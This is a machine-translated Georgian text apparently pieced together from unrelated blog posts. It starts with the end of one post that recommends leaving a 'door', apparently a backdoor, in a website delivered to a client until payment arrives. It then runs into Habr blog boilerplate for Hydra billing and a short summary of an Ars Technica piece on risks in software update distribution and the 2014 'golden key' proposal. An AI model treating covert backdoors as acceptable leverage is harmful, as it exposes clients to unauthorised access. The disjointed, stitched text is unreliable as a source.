ლოგიკურია კარის გამოყენება, როცა საიტს გადასცემთ გადახდამდე (ზოგჯერ), ან როცა მუშაობთ კომპანიაში და გსურთ იყოთ უსაფრთხო მხარეზე. პირველ შემთხვევაში, როცა გადახდა ხდება, შეიძლება კარი მოიხსნას, ან დატოვო, თუმცა არა მგონია, რომ აღარ დაგჭირდეს. მეორე შემთხვევაში კი მუდამ მზად მოგიწევთ.

დღეისთვის სულ ესაა. მოხარული ვიქნები, რომ დავინახო თქვენი იდეები და წინადადებები თემაზე! მომავალ ჯერამდე

ჩვენს ბლოგში Habré-ზე, ჩვენ არა მხოლოდ ვსაუბრობთ ჩვენი პროდუქტის განვითარებაზე - ბილინგი Hydra ტელეკომის ოპერატორებისთვის, არამედ ვაქვეყნებთ მასალებს ინფრასტრუქტურასთან მუშაობისა და ტექნოლოგიების გამოყენების შესახებ.

გერმანელმა ჟურნალისტმა და ჰაკერმა Leif Ryge-მა დაწერა საინტერესო სტატია Ars Technica-სთვის იმის შესახებ, თუ როგორ შეიცავს პროგრამული უზრუნველყოფის განახლებების ორგანიზების თანამედროვე მიდგომას ინფორმაციული უსაფრთხოების სერიოზულ რისკებს. თქვენს ყურადღებას წარმოგიდგენთ ამ ჩანაწერის მთავარ მოსაზრებებს.

ფონი

ჯერ კიდევ 2014 წელს ვაშინგტონ პოსტმა დაწერა, რომ კომპანიებმა, როგორიცაა Apple და Google, უნდა გამოიგონონ რაღაც საიდუმლო გასაღები, რომელიც გამოიყენებოდა მათ პროდუქტებზე წვდომის მისაღებად და რომელსაც ისინი შეინახავდნენ და გადასცემდნენ სადაზვერვო სააგენტოებს მხოლოდ იმ შემთხვევაში, თუ ისინი მიიღებენ სამართლებრივ გადაწყვეტილებას. .

სუსტი ბმულების მოშორება, რომელთაგან ნებისმიერი შეიძლება იყოს კრიტიკული შეტევისთვის, უნდა იყოს ძირითადი მოთხოვნა ნებისმიერი ახალი პროგრამული განაწილების მექანიზმისთვის.